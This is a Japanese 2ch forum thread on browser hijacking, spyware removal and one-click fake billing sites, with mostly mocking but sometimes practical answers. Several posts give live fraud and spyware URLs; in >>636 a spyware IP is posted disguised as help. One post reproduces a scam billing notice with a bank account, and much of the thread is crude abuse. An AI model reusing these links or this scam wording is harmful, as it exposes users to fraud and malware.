リンクが勝手に開くんですけど対処法はどうすればいいんでしょうか…？

>>575
回答は俺の千本ノックを受けてからだ！！！準備はいいか？

>>576
はい！お願いしますコーチ！





ようするに出直して来いってことですね…
もう少し自分で対処法探しますです

▼━質問のしかた ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
　・ E-mail欄(省略可) には何も記入しないこと。(ID出す→偽者対策・質問者の区別)
　・ 2回目以降の書込は、名前欄に最初に質問した際の「発言番号」を入力すること。
　・ 他のスレから誘導された場合は、その旨書く。(マルチポストとの区別)
　・ OSの種類、ブラウザ、セキュ関係ソフトの有無、実行結果を報告。（特にOSの種類）
　・ まず、テンプレサイト（http://haiiro.info/my/text/template.html）を必ず読む。

▼━禁止事項 ━━━━━━━━━━━━━━━━━━━
　・ マルチポスト(複数の板・スレで同じことを質問)
　・ 情報の小出し(始めにOSやソフト名等を必ず明示)
　・ 違法な話題や質問(WinMX,Winny,エミュレータ等)
　・ 天麩羅屋　&　薮パソユーザーは立ち入り禁止。HNを変えてもダメです。
　・ Opera房立ち入り禁止。HNを変えてもダメです。またその話題も違法です。

>>578
そのサイトはおまいが作ったのか？読みづらいよ？

>>579
俺じゃない、誘導すると必ず言われるんだよねｗ

http://ime.nu/www.cat-e.be/member/index.php
これって大丈夫ですよね？

>>581

ま　　た　　次　　世　　代　　コ　　ー　　ド　　か　　！

>>581
宣伝乙
はよ史ねよ

既出でしたね、すみません。

２ｃｈに貼ってあったのを見た瞬間に登録されたみたいでご利用期間は６０日で１５０００円です。
個体識別番号を元に住所、氏名、電話番号をお調べし当番組管理部より延滞料金３００００万円、延滞一日につき１０００円の損害金を加算してご自宅、ご実家、勤務先に直接請求される事があります

と出てきたのですが　もうどうしようもありませんか？

>>585
気にすんな、禿げるぞ。

>>585
www.cat-e.be/member/index.php
ですね。既出です。無視する。釣りですか。

>>587
そうです。既出なんですか？本当にすいません。こういうの初めてなんで少しあせっているんです

田代砲やったサイトか

>>588
身近なところで、>>753を見てみな

>>573 の間違えでした orz

＼　　　∩─ｰ､ 　　　====
　 ＼／　●　､_ ｀ヽ 　　======
　　/ ＼(　●　 ● |つ 　　　　
　　|　　 X_入__ノ 　 ミ　　　　
　　 ､　(＿／　　　ノ　/⌒l
　　 /＼＿＿＿ノﾞ＿/　 /　　=====
　　〈　　　　　　　　 ＿_ノ　　====
　　 ＼　＼＿　　　　＼
　　　　＼＿__）　　　　　＼　　　======　　　(´⌒
　　　　　　　＼　　 ＿＿_ ＼＿＿　　(´⌒;;(´⌒;;
　　　　　　　　 ＼＿＿＿）＿＿＿）(´;;⌒　 (´⌒;;　　ズザザザ

about:blank Search for型に感染しているようなのですが、ソースを見てもエンコードされた文字列の部分がありません。Ctrl+fで検索もしました。
亜種ということなのでしょうか？

>>593
about:blank Search for…　に感染したという症状は？
只のSearch for…じゃないの

>>593
「About:blank Search for...に違いない！」と思いこんで他のテンプレ全くやってないに一票。

ここはネタスレだからOK牧場。

ホームのアドレスがabout:brankになって、Home Searchというページが表示されてしまいます。
このHome Searchの時点で別種なのでしょうか？

>>597
情報を小出しにし過ぎ
貞なら放置確定

>>597
貞さんにヨロシク。

　　　　　最後の頼みの綱　『アダルトサイト被害対策の部屋』
　　　　　http://higaitaisaku.web.infoseek.co.jp/caution.html

>>593 >>597
「個別のスパイウェアの駆除方法」ってのは、アンチウィルスソフトが入っていて、
アンチスパイウェアソフト３種を全部やっても治らない人用に書いてあるから、
テンプレの他の内容もやらずにいきなりやっても無意味だよ、っと。

テンプレ貼らないで、除去ウィザードだけにした方がいいかもしんないね。

アドバイスしたやつ
どうでもいいけど格好悪りいからやめれｗ
ttp://higaitaisaku.web.infoseek.co.jp/cgi-bin/cbbs.cgi?mode=all&namber=41596&type=0&space=0&no=0

>>601
昨晩、相談して今日の昼過ぎまで放置か
それもここの住人にチクられているね。
ここで回答したけど無視された回答者かな
自業自得といえば、そうなんだろうけど
もう本家で回答してくれる奴は居ないだろうな。

>>602
こっちのスレを覗いてる向こうの回答者多いからなｗ
向こうで放置されてる理由ってのはチクった奴が指摘した内容でしょ。

>>601
通りすがりの２ｃｈねらーってorz
すごいでじゃばりな性格だな・・・

>>604
書かなくても、指摘されるだろ
基本的な部分だから。

それにしても、夏休みが終わったら
お客さん減ったね

言いたくなる気持ちはよーくわかる。典型的な人の話を聞いてないマルチデブだからなー。

ざ　ま　あ　み　ろ　

一つだけ評価出来るのは、マルチせずにここに断りを入れて行った事だけか
ここが見た目にネタスレ化しているのが、悪いんだろうけど、良くスレを読めば
好き嫌いせずに、まともに回答している事に気が付くのにな。

ttp://www.eropon.org/member/index.phpにアクセスしてしまい請求(ネット上で)
してしまい恐いのですが、大丈夫でしょうか？良い対策のしかたを教えてください、
お願いします。（みなさんはクリックしないでください。

>>608
個人識別コード 1094192405 を登録いたしました

ゝ(　ﾟ∀ﾟ)ﾒ(ﾟ∀ﾟ　)ﾉ ｱﾋｬﾋｬﾋｬ という訳で気にするな、と。
激しく既出だよそこも。

よく見たら、振りこみ先が変更してるな。
VIPのスレと喪男のスレに貼ってみるか(･∀･)ﾆﾔﾆﾔ

>>601
O4 - HKLM\..\Run: [Winad Client] C:\Program Files\Winad Client\Winad.exe
よく見ると上のが消えてる。一応は治そうとはしているみたいだな・・・。

後は、
O20 - AppInit_DLLs: AppInit_DLLs=""
O21 - SSODL: System - {87621A11-9017-48FC-8B10-58210A3C53D6} - C:\WINDOWS\system32\system32.dll (file missing)
この2つの問題さえ解決すれば一応解決か？
CnsMinは削除推奨だが確か本家でも一応は自己判断だし。

>>611
回答、乙
本人が見ていればいいけど

>>611
それ、両方とも駆除した後の残りカスだと思うぞ。

ADW_SOLU180.B、SPYW_AGENT.A
両方とも検索してみたが、どうやら詳細不明のダウンローダーらしいから、
俺はビックローブツールバーがCnsMinをダウンロードしようとしているのを
検出しているんじゃねーかな？と予想。

>609さん有難うございまし
でも既出なんだ、知らなかった。

saerch forを解除する為に問題のaboutblankのソースがいるのですが、右クリックを
してもそのページでは何もでないのでデコード出来ません。どうしたらよい
でしょうか？結局sarch forを解除したいのです。osはxpです。宜しくお願いします。

>>615
それは、本当にabout:blankなの？もしかしたら単なる思いこみじゃないの？
他のテンプレも全部やってみた？

>>615
右クリックしたまま左クリック。そして右だけ指を離す。( ﾟДﾟ)ｳﾏｰ

通りすがりの２ｃｈねらさん、降臨キボンヌ

質問なんですけど一番最初（クリックして最初）に出てくるホームページがありますよね？
そのホームページを変更しようとしても変更できないんですけど。
既にツール→インターネットオプションで直そうと試みましたが直りませんでした。
ちなみにこのHPから直りませんhttp://gcverj.outhost.info/あ
自分パソコン初心者なので>>2の意味すら分かりません・・・
どうか放置せずに答えてくれるとありがたいです。

なんかここクリックしたら自分の都道府県やプロバイダが表示されて
料金が請求されたのですが…
http://www.cat-e.be/member/index.php

完全にネタスレになったな ヒャヒャヒャ

>>620
そうか。よかったな。

斬新な新ネタキボンヌ。

いや、マジレスお願いします

>>619
http://higaitaisaku.web.infoseek.co.jp/removewz01.html
ここへ行って書いてある通りに順番を追ってやってみてください。
わからなくても調べたりして少し悩んでください。

>>624
>>573 へ行け

http://www.ii-park.net/~a-ggggg/tototo/index.htm
このサイトにアクセスしてしまい、登録しましたと出まして、登録コードに数字が
いっぱいありました。料金がかかります、と出ます。
本当に悩んでいます。助けてください。皆さんはクリックしないで下さい。

>>627
クリックしたけど、カネなんか払わねーよ。払う気なし。

>>627
業者必死だね
つかまんないでね

>>627
禿ﾜﾗﾀ　もう模倣サイトができたのか

>>627
踏んでみると、
「ご登録ありがとうございます。あなたは大人の出会いに登録されました。
お客様の個人識別コードは52100034847
個人認識コードはPC個別に割り当てられている個人情報を特定可能なコードです。
解約希望の方はENTERから解約手続きを行ってください。
解約手続きを行わないと利用料金が発生します。
利用されない方は必ず解約手続きを行ってください。」

だそうだ。

間抜け、というか、出来損ないの騙しサイト。
ENTERを踏むと、大人の出会いランキングサイトに飛ぶ。

／|　　　　　　 　 |　 |＿＿＿＿_ΦΦΦΦΦΦΦΦΦΦΦ||ΦΦΦ
　 |　　　　　　 　 |　 |￣￣￣ ／|　　　　　 　 　 　 　 　 　 　 ||
　 |　　　　　　 　 |　 |　　　／ ／|TTTTTT　　 TTTTTTTTTT||TTTTT
　 |　 　 　 　 ／＼　|　 ／|／|／|^^^^^^ |三三| ^^^^^^^^^^^||^^^^^^^
　 |　 　 　 ／　 ／　|／／ ／ ／|
　 |　　　／　 ／ |＿|／|／|／|／|
　 |　 ／　 ／　　|文|／ ／／ ／
　 |／　 ／.　 ＿.|￣|／|／|／　　　　　　　　　Λ＿Λ
／|＼／ 　／　／ 　|／ ／　　　　　　　　　　 （＿＿_）　よく分からんが祭りダー！！
／|　 　 ／　／　 ／ヽ　　　　　　　　　　　　/〔　祭　〕〕つ
　 |　　　|￣|　 |　|ヽ／l　　　　　　　　　　　 ｀/二二ヽ
　 |　　　|　 |／|　|__|／　　　Λ＿Λ　　　　 /　/（＿）
　 |　　　|／|　 |／　　　　　 （　´∀｀）　　　（＿）　　　 Λ＿Λ
　 |　　　|　 |／　　　　　 ／/ /　 ^￣］ﾟ　　　　　　　　（｀　　　）
　 |　　　|／　　　　　　　 ﾟ/￣￣_ヽ　　　　　　　　　⊂〔〔　祭　〕
　 |　 ／　　　　　　　　　/＿ノ（＿）　　　　　　　　　 ┌|＿＿_|
　 |／　　　　　　　　　　（＿_）　　　　　　　　　　　　 （＿ﾉ ヽ　ヽ
／　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　（＿）

皆さんクリックしないでと言ったのに…。
でもそこまでしていただいてありがとうございました！
>>628
ありがとうございました、ずっと悩んでたのでその一言で救われました。
>>629
業者には捕まらないように気をつけます。ありがとうございました！
>>631
全く同じ内容が書いてありました。
騙しサイトだったのですか…。
自分がENTERを踏んだら何も表示されなかったのですが…。
わざわざ調べてくれてありがとうございました！
個人認識コードとか書いてあって怖かったです。

皆さん本当にありがとうございました！

ぬるぽ大好き

なんか最近zipファイルを左クリックで保存できなくなってしまったんですけど
どうするんでしたっけ？
以前同じことになった時は自分でzipの設定を見つけて直した気がするのですが…

>>635
http://213.159.117.132/index.php
↑
ここの検索で探せる

>>635
FAQスレ読め

>>636
怪しい

書き忘れていました。ちなみにXPです。
>>637
読み直してきます。

>>636は危険。
http://foffo-gunkanmaki.hp.infoseek.co.jp/url.html
>ttp://213.159.117.132/
>ttp://213.159.117.132/index.php
>ttp://213.159.117.133/
>ttp://213.159.117.133/dl/loadadvms.html
>　【スパイウェア:CoolWebSearch系[2004/08/05]】

ttp://moreporn.biz/new/index.php
このサイトに飛んでヤバイと思ってすぐ消したんですがその後sexっていうショートカットが出てくるわ。
ネットにつなげててしばらくしたらAlready running!ＯＫって勝手にブラウザ開くし。
soybotっていうスパイウェア駆除ソフト使ってもこれは削除できませんでした。
どうしたらいいですか？助けてください。

>>640
Spybot以外のテンプレを実行してみよう。

>>640
Spybotは買わないとサポートが受けられなくてなおる見込みがないから
まずは購入して下さい。

>>642
買ったら>>640みたいにSpybotで直せないようなのもサポートされる見込みあるの？

>>643
無い

よーし。Spybot買っちゃうぞおー

chmファイルは全て削除しても大丈夫でしょうか？？
テンプレ実行中のものです。

spybotでチェック入れて削除しようとしても、Cns Minというのだけが
「メモリーの上にあるので削除できません」と表示されてしまうのですが…
再起動してくださいと出るので再起動するのですが、それでも
同じく「メモリーの上・・・」という表示が出て削除できません。
どうしたらよいでしょうか・・・
教えてくんでもうしわけないです。

>>647
Jword、Biglobeツールバーとかなら
サイトに行けばアンインストール方法がある。

ttp://higaitaisaku.web.infoseek.co.jp/removecnsmin.html
ここに書いてあります。

http://pc6.2ch.net/test/read.cgi/pcqa/1094222660/253から誘導されてきました。

googleやyahoo等の検索エンジンで、キーワードを入れて検索すると、
別窓で訳の分からない検索エンジン（searchscoutという検索サイトで、アドレスはttp://results.searchscout.com/）
で検索した結果、例えばgoogle等で「2ch」と検索すると、
ttp://results.searchscout.com/content/812/21817-0/content21817-0.html?b=17499&m=Mzg5Nzg1NDY3&t=1000119213&d=1000119213&k=yahoo%e3%83%a1%e3%83%bc%e3%83%ab&c=21817
というアドレスが別窓で勝手に開いてしまいます。
これかなり迷惑なんですが、どうやって削除するんですか？
因みにテンプレの>>2を読んで実行したんですが、それらしいプログラムは見つかりませんでした。

>>650
ttp://higaitaisaku.web.infoseek.co.jp/kudaranfaq.html#15
これに近い状態かな？

>>651
いや、検索エンジンはちゃんと使えるのですが、
検索すると同時に、別窓で訳の分からん検索エンジンが出てきてしまうんですよ。
http://pc6.2ch.net/test/read.cgi/pcqa/1077495195/388
↑この人と同じ状態です。どうすればいいんだorz

よろしくお願いします。

>>653
は？

>>653
テンプレにそんな事書いて有ったか？
CHMはHELPファイルの拡張子だから、HELPを使わないなら
削除しても構わないが、それ以前に必要以上のファイルを削除
する事は、お勧めできません

脱！教えて君同盟
http://myu.daa.jp/osiete/know.html
【コンテンツ】
１．教えて君具体例

２．教えて君の定義

３．教えて君は得？それとも損？

４．教えて君の発生原因

おまけ：教えて君の仲間達

>>650 >>652
テンプレの>>2以外を何でやろうとしないんだろうね（　´_ゝ`）ｙ−

ttp://otoge3.web.infoseek.co.jp/cgi-bin/img-box/img20040830064114.html
ここにアクセスしちゃったらパソコンに変なのはいったらしくて、ホームページがおかしくなるし、開いてないのにページ出てくるようになり、とにかくやばいんです！・・・誰か対応策おしえてください。助けて(TT)

いっそテンプレにこうやって入れておくか（　´_ゝ`）

・テンプレをやるのが面倒くさい！という人への魔法のページ
http://support.microsoft.com/default.aspx?scid=kb;ja;879006
これでどんな症状も一発解決だね(^-^)

CoolWebSearchの日本語化はできないのでしょうか？
宜しくお願いします。

E-mailに書かないの忘れてました。ほんと助けてください
ttp://otoge3.web.infoseek.co.jp/cgi-bin/img-box/img20040830064114.html
ここにアクセスしちゃったらパソコンに変なのはいったらしくて、ホームページがおかしくなるし、開いてないのにページ出てくるようになり、とにかくやばいんです！・・・誰か対応策おしえてください。助けて(TT)

>>661
>>656

>>661
ただの教えて君から脱却するには？
http://myu.daa.jp/osiete/datsu.html

>>660
CWShredderの事か？
あんな簡単なもん、日本語しなくても辞書引きながらで使えないか？

みんな冷たいですね・・・
自力でやったら何とか正常に戻った気がするんですが、まだ勝手に他のページに飛んだりもします(えろサイト)
どうすればいいでしょう？

>>665
テンプレの他に何を言って欲しいのかわからんが、
助けに行くから住所おしえてくれ。

ttp://www.ahland.net/member/index.php

これ踏んじゃったんだけど、払わないといけないんですか？

>>665
貴方は、何も情報を開示せずにどうすればいいのかを
尋ねるだけではないか、それとも貴方が貼ったｕｒｌに突撃
して、情報をもって来いというつもりかな？

ホームページがおかしくなるって？
勝手に他のページに飛ぶ？

それだけで何を教えろと？　下へ行って見たら
http://higaitaisaku.web.infoseek.co.jp/

>>667
払わなくていい
少なくても俺は困らない。

>>667
（・３・）　エェー　ま　た　次　世　代　コ　ー　ド　か　YO！　詐欺だからほっとけYO

>>670
ほっときます

次世代コードはﾏｶｰも認識するのかな？

>>665
ＰＣの電源を切って、廃棄物業者に電話して、廃棄
これですっきり、間違いない！

罵倒されたいヤツは何時でもおいで。

次世代コードスレッドでも詐欺・防犯板に立てたほうがいいのかな？
それともネトヲチ向けかな？

>>674
この疎チン野郎が！

ann

http://www.cat-e.be/member/index.php
ひっかかったんですがどうなんでしょう

NGWord推奨 ： member/index.php

>>678
警察に相談しろ

そして今日もネタスレが立つ
なんだかなぁ〜ｗ
http://higaitaisaku.web.infoseek.co.jp/cgi-bin/cbbs.cgi?mode=one&namber=41842&type=0&space=0&no=0

どうでもいいけどスレ数を半分してから過去ログ落ちが速くなったな本家

通りすがりの２ｃｈねらーさん出番ですよ。

>>681
「田代砲対策について教えてください　投稿者/ わるふ 」
完全に投稿先を間違っているな、マジだとしたら
www.cat-e.be の奴か
どちらにしても、本家も大変だな

>>681
ワラタ　誰か回答すんのかね？

>>684
しないだろ
馬鹿を相手にしても何のメリットも無いし

インターネットを立ち上げようとするとDailyToolbarだのFWNToolBarだのSeachBarが出てきて立ち上がらなくなってしまいました。
初期化しか道はないのでしょうか？

>>686
テンプレやりたくないなら、初期化しかないんじゃねーのかな

>>686
DailyToolbar
http://www.pestpatrol.com/pestinfo/d/dailytoolbar.asp

FindWhateverNow(FWNToolBar)
http://www.kephyr.com/spywarescanner/library/findwhatevernow/index.phtml

>>686
インターネットを立ち上げるスキルとお金が有るなら
こんな所に相談に来なくてもｗ

>>686
ツールバーはひとつあればいいんじゃないか

ぐへへへへへへへ、今夜も大漁だぜｗ

すいません、>>678をうっかり踏んじゃったんですが
コレってほっておくと不味いですか？

>>692
手遅れだな

どれがそうなのか分からないけど、よかったね。

>>692
これはお前さんか？
http://higaitaisaku.web.infoseek.co.jp/cgi-bin/cbbs.cgi?mode=all&namber=41874&type=0&space=0&no=0

本家も次世代コードで・・・ﾓｳﾀﾞﾒﾎﾟ｡･ﾟ･(ﾉД`)･ﾟ･｡

>>692
自業自得
ちゃんと払えよ

>>692
カネが余ってるから俺が代わりに払ってやるよ。

>>698
そんじゃ、俺のソープ代もお願いします。

>>699
やだよ

ソープなんか行ってる奴は芋。

ＯＳはＸＰです。今は別のＰＣで書き込んでます。

多分弟がエロサイト見てたんだと思いますが、そのせいでＰＣがおかしくなってしまいました。

起動させた時にショートカットアイコンで「Hardcore TEEN SEX」とでて、必ずエロサイトが起動してしまいます。

しかも、コントロールパネル開いたりゴミ箱開いたりすると、固まって青い画面になります。メモリ不足ですみたいなのがでるのですが・・・

対処法教えてください。

>>699
支払いの依頼か？
依頼するんならＩＤ出せ
そしてテンプレ読んで実行
そして窓の手使え

>>702
起動して直ぐに、エロサイトですか
実用的で良いな。

>>702
テンプレへレッツGO。

俺達自慢のテンプレを、たっぷり味わってくれ！

>>705
ｽﾏｿ。書き忘れましたが、CoolWebShredder・Ad-Aware・Spybot-S&D
をインストールさせたのですが、使い方がわかりません。

ここの回答者の現在のレベル
ttp://higaitaisaku.web.infoseek.co.jp/cgi-bin/cbbs.cgi?mode=all&namber=41596&type=0&space=0&no=0

>>707
それもテンプレのリンク先に有るだろ
何なら、貞さんに相談するか？
http://higaitaisaku.web.infoseek.co.jp/cgi-bin/cbbs.cgi

>>708
まだまだ、だな
今日はこの辺で、許してやろうか

>>708
( ﾟдﾟ)ﾎﾟｶｰﾝ
質問者が「解決済み！」ってやってるパターン初めて見たよ
質問者は相当なﾄﾞｷｭｿだな

これもかなりDQNな質問だな
http://higaitaisaku.web.infoseek.co.jp/cgi-bin/cbbs.cgi?mode=one&namber=41866&type=0&space=0&no=0

というか質問者をきっちり説得できないようでは回答者失格では・・・
結果的にはCneMin残ったままだし
なにこの結末

最近の本家も大変だ

べろべろばー　　　　　　うほほほほ
　　　おチンチンびろーん　 ∩＿＿＿∩
　　 ∩＿＿＿∩　　　　　 | ノ　 ○─○ヽ_∩＿＿∩　にひゃひゃひゃひゃひゃ
　　 | ノ　　　　　 ヽ/⌒)　 /　 ／3　　　3　|　 　　　　ヽ　
　 /⌒) (ﾟ)　　　(ﾟ)　|　.| 　 |　　　　( _●_)　|o⌒　　⌒o|
　/　/　 　( _●_)　 ミ/∩―−、　　 |∪|　/⌒（_●_)⌒ ミ
.（　　ヽ　　|∪|　　／ ／　(ﾟ)　､_ ｀ヽ ヽノ　|　　 |∪|　　／
　＼　　　 ヽノ　/ 　/　　(　●　 (ﾟ) |つ 　∩.　　ヽノ∩
　 /　　　　　　/　　|　／(入__ノ 　 ミ　　　| ノ⌒　　⌒ヽ
　|　　　_つ　 / 　　　､　(＿／　　　 ノ　　/　　（。）（ﾟ）|　　　　　
　|　 /UJ＼　＼　　　＼＿＿＿　ノﾞ ─ｰ|　　(⌒＿●⌒)ミ 　　　　　
　|　/ 　　　 )　 )　　　　＼ 　　　　　　＿彡､/ |Ｕ　　ＵＵ_/ 　　　 　
　∪　 　　 （　 ＼　　　　　＼　　　　　＼ 　　| | 　　　　||
　　　　 　　 ＼＿) あびゃばばばだーん　.　.| |ｎn　_nn||　　ぐへへへへへへ
　　　　　　　　　　　　　　　　　　　　　　　　　　＼＿＿＿）

>>713
このスレに、その馬鹿が来た時のログを見てみろ
当初から指摘されているにも関わらず、そいつは
無視を続けているよ、そして本家に相談

まともな質問者じゃ無い奴に回答するだけでも
有り難く思えよ

暇人回答者の集まりだな
そんなに暇か？

>>714
よし、変な質問は本家に誘導しちゃうぞ

>>716
お前みたいのがいるとスレがダメになる。消えろ

暇人ではなく廃人ですよ。

>>719
スレが駄目になる？
スレは駄目にならないだろ
お前、頭大丈夫か？
本家に相談して来い

向こうで回答する人もコレくらいは守ったほうがいいんじゃ
マジで本家に大目玉喰らうぞ
http://higaitaisaku.web.infoseek.co.jp/cgi-bin/cbbs.cgi?mode=one&namber=31509&type=31410&space=15&no=0

馬鹿の集まり。

眠、相変わらず偉そうだな

すいませんテンプレのサイトに行ったんですが、字が小さくて潰れてるので何が書かれてるのか解らないか所がいくつかありました。
字を大きくしたりとかできるんでしょうか？

>>708
さすがに不味い結末だな・・・

>>725
どっか逝け

>>726
お前のせいだ

いいぞ〜！！どんどん本家を紹介して、ここをぶっ潰せ〜ｗ

>>725
フォントだけなら、表示→文字サイズで大きく設定
画像も込みなら、
画面のプロパティで画面の領域を小さくする（液晶は滲むので不可）

>>729
楽しみだな

>>729
今の状態だと容量の少ない、本家が潰れるぞ

おまえら回答してやれｗ

http://higaitaisaku.web.infoseek.co.jp/cgi-bin/cbbs.cgi?mode=res&namber=41842&page=&no=0

>>733
うるせー馬鹿

>>733
そのネタ既出だよ。
>>681

>>734
馬鹿とは何だ、包茎

>>736
包茎とは何だ、禿

>>736
うるせー馬鹿

リモホ取られているからネタでもちゃんとしたネーム以外では回答できんよ
やってること怖すぎｗｗｗ

>>739
たわけ

いいから早く回答してやれｗ


http://higaitaisaku.web.infoseek.co.jp/cgi-bin/cbbs.cgi?mode=one&namber=41842&type=0&space=0&no=0

おう、何でもいいから質問しろや

>>741
馬鹿かお前？

>>741
投稿者/ わるふ ：本人、乙

「いいから早く回答してやれｗ 」←ｗなんて使うなｳﾞｫｹ

エロサイトに限らずWEBを見て回ってたらブラウザ乗っ取られて大変なことに…
いったいどうしたらいいの？って人のためのスレッドです。

▼━質問のしかた ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
　・ E-mail欄(省略可) には何も記入しないこと。(ID出す→偽者対策・質問者の区別)
　・ 2回目以降の書込は、名前欄に最初に質問した際の「発言番号」を入力すること。
　・ 他のスレから誘導された場合は、その旨書く。(マルチポストとの区別)
　・ OSの種類、ブラウザ、セキュ関係ソフトの有無、実行結果を報告。（特にOSの種類）
　・ まず、テンプレサイト（http://haiiro.info/my/text/template.html）を必ず読む。
　・ テンプレサイトの補足（>>2-10あたり）を必ず読む。

▼━回答者の方へ ━━━━━━━━━━━━━━━━━━━━
　・ テンプレの方法を実行せずに質問する人は、徹底放置して下さい。
　・ 出された指示を実行せずにレスする人は、徹底放置して下さい。
　・ HijackThisの分析から嘘が判明した場合は、徹底放置して下さい。
　・ 放置ができない回答者は、質問者が自作自演していると見なされます。

▼━禁止事項 ━━━━━━━━━━━━━━━━━━━
　・ マルチポスト(複数の板・スレで同じことを質問)
　・ 情報の小出し(始めにOSやソフト名等を必ず明示)
　・ 違法な話題や質問(WinMX,Winny,エミュレータ等)
　・ 天麩羅屋　&　薮パソユーザーは立ち入り禁止。HNを変えてもダメです。
　・ Opera房立ち入り禁止。HNを変えてもダメです。またその話題も違法です。

>>742
スパイウエアは何を食べますか？
おじちゃん教えて下さい。

>>743
（・３・）　アルェー　馬鹿、とは何事だこの野郎カチンときたＹＯ

http://haiiro.info/my/text/template.html
↑
ここはいいぞ。お気に入りに加えたほうがいい。

>>748
またお前か・・・・

>>748
結婚してください

回答がまだだぞｗ

http://higaitaisaku.web.infoseek.co.jp/cgi-bin/cbbs.cgi?mode=one&namber=41842&type=0&space=0&no=0

>>752
お前、業者か？

>>752
こちに、貼ってやれよ
HPをクリックしたら15000円要求されました。
http://news13.2ch.net/test/read.cgi/news/1094290106/

業者・・・・・・・・・

>>752
死ぬまで回答されるの待ってろ

ネタスレage

そろそろ、寸劇は終わりにして質問者を待ちますか

業者としたら来んな

ネタ質問、ネタ回答はここでどうぞ。

>>758
今まで寸劇しておいてよく言えるな

架空請求サイトを更に広めるにはどうしたらいいのですか？回答者のクズども

>>761
だって、書き込み無くて淋しかったもん

>>761
だって初心者を罵倒したいんだもん。

>>762
そんなに広めたかったらマスコミ系の掲示板にでも貼れば
全国的に広まるよ、犯罪サイトとしてね

罵倒してほしい初心者、質問を受け付けています。


いかに騙されるか、或いは、いかに回答者群を騙すか、腕の見せ所だな

ぐへへへへへへへへ、獲物はまだかぁ〜

そんなことよりも俺のソープ代を払ってくれ

俺のソープ代が先です

>>769
出たな偽者、真似すんな

誰かお尻かしてぇ〜ん

俺が699だよ

何人いるんだ？
横一列になって番号言え

ふっ・・・人気者は辛いな。

>>766
スパイウエアの被害における、経済的損失額を
最新の情報を入れて分かり易く説明してください

取りあえず、俺のソープ代も払ってね

このスレ凄いな････

初心者の皆、質問をする時にIDを出さないと
こんなに沢山の偽者だ出てくるから
ちゃんとIDを出そうね。

みんな、新ネタ待ってるぞ！！！

インターネットをしていると、ときどきエロサイトの広告が
出てくるんです。とくにエロサイトを開いているわけでもないのに。
前に一度だけその手の広告で「OK」を押しちゃったことがあるんです
。ソレのせいかなと思ってるんですけど、どうしたらその広告が
でてこないようにできますか？ブラウザはieでOSはWindowsXPです。
主な広告の内容はカリビアンコムです。

>>779
コピペ乙。

>>780
いや、違います。

>>781
テンプレはやりましたか、やってないのでしたら速やかに実行してみてください

カリビアンコムは無害じゃないの？

テンプレは美味いぞｗ

>>784
おじいちゃん、それはテンプラよ
一緒に帰ろうね

>>782
すいません、まだテンプレはやってません。Spybotをインストして
実行してみたんですが、直らなかったので。
>>783
カリビアンコムは無害なんでしょうが、
たまに出てくるのがうっとうしくて。

>>786
Spybotだけで全部のスパイウェアが解決するぐらいなら、テンプレいらないでしょ。
そんな簡単じゃないから、コンパネから削除しろとかいくつも併用しろとか言うわけで。

>>786
優秀な回答者はもう寝てるからカエレ。

７３０さんありがとうございます。
閉じることの出来ないブラウザってどうやったら閉じれるんですか？

>>789
タスクマネージャーか、Alt＋F4キー

質問ｽﾚでこちらのテンプレを読めと誘導されましたのでこちらで質問させて頂きます。

windows XP使用しています。
Internet Explorerを立ち上げると下記にアクセスされます。
http://ez-finder.com/cgi-bin/index.cgi?c=1

ツールのオプション、全般でヤフーのアドレスを入力したのですが
何度やっても上記のアドレスにアクセスされます。
また、テンプレを読みWebのリセット等色々とやってみたのですがダメでした。
どなたかご助言願います。
マルチすみません。

>>791
テンプレを読めという誘導と、こっちで質問しろというのは違うと思うよ。
テンプレを読んで「色々やってみた」というのは、具体的にどれをやったの？
テンプレの>>2-4まで全部試して、それでもダメなら>>5やって相談するのが本来だよ。
やってないのがあるのならすぐ試しておいで。

>>791
http://ez-finder.com/terms.phpから

To uninstall Look1 Search plugin
please go to START -> Settings -> Control Panel -> ADD/Remove Programs and Uninstall "SBSoft"

コンパネに「SBSoft」ってのがあるんじゃねーかな。

>>792
「色々やってみた」と言うのは>>2-4まで見てみたり試したのですが
何分初心者なのでチンプンカンプンで…分かる範囲でやってみたと言うことです。
すみません…
>>793
コンパネに「SBSoft」って何でしょうか？
ぐぐってみたのですが外国のｻｲﾄが出てきて分かりませんでした。

>>794
コントロールパネル→ファイルの追加と削除、から削除しろ

>>975 訂正
× ファイルの追加と削除
○ アプリケーションの追加と削除

>>794
>分かる範囲でやってみたと言うことです。
で、その分かる範囲ってのはどこからどこまでだよ？
全然分からないから全くやらずに「助けて下さい」って言ってるだけじゃねーの？

ぬるぽん

>>テンプレみてわからないと言っちゃう奴

とっととリカバリ。これ最強。

>>795
コントロールパネルのアプリケーションの追加と削除の中に「SBSoft」はありませんでした

>>797
テンプレサイト（http://haiiro.info/my/text/template.html）を見逃してました
読んでみます

ありがとうございました

ttp://www.cat-e.be/member/index.php
ネトゲ−板見てたら↑のような書き込みがあって
クリックしたら勝手に登録って表示されたんですけど
ネタなんでしょうか・・・

>>801
私はあなたの質問がネタに思えて仕方ないんですが。

>>801
何度も聞くな馬鹿
師ねよ

>>801
このスレだけで、10回位出ているよ
心配なら警察に通報してください。

そろそろ業者が意図的に罠仕掛けてんじゃねーの
直リンする馬鹿もいるしよ

個人識別コード

あなたのプロバイダーは Yahoo!BB です。
個人識別コード 1094316139 を登録いたしました

個人識別コードはPC個別に割り当てられている
個人情報を特定可能な次世代コードです



ご利用期間 60日間
ご利用料金 \15000
振込先 UFJ銀行
新大阪支店
普)3599970
ﾐﾔｶﾞﾜﾐﾉﾙ
支払期限 登録日より4日以内
注意 支払期限以内にお振込み下さい。
また、支払い期限を過ぎても入金確認が出来ない場合、 規約に基づき
個体識別番号をもとに住所、氏名、電話番号をお調べし当番組管理部より
延滞料金30,000円、延滞1日に付き1,000円の損害金を加算して
ご自宅、ご実家、勤務先などに直接請求されることがあります。

あなたの払込みID番号は

1094316139

です。
ご不明な点は、再度利用規約のページをご参照ください。

>>804　ご親切に有難う

>>806
そう言えば、振込先の銀行に通報して
口座を無くさせた奴が居たな

ttp://www.cat-e.be/member/index.php

>>807
ちょっとスレ読めや糞が

>>809
遊ぶのは良いが、何か不都合が生じた時に
警察に調べられても知らないぞ。
少なくても、そのurlが詐欺行為に加担しているのを
知って貼って居るのだから
馬鹿がここで踏んで事件でも起したら、家まで警察は
調べに来るぞ。

>>810　一通り読みました、ご指摘のとおりですね
　　　　　迷惑かけてすみませんでした

　　　　　

>>812
大した迷惑は掛けてないよ
安心して寝るよし

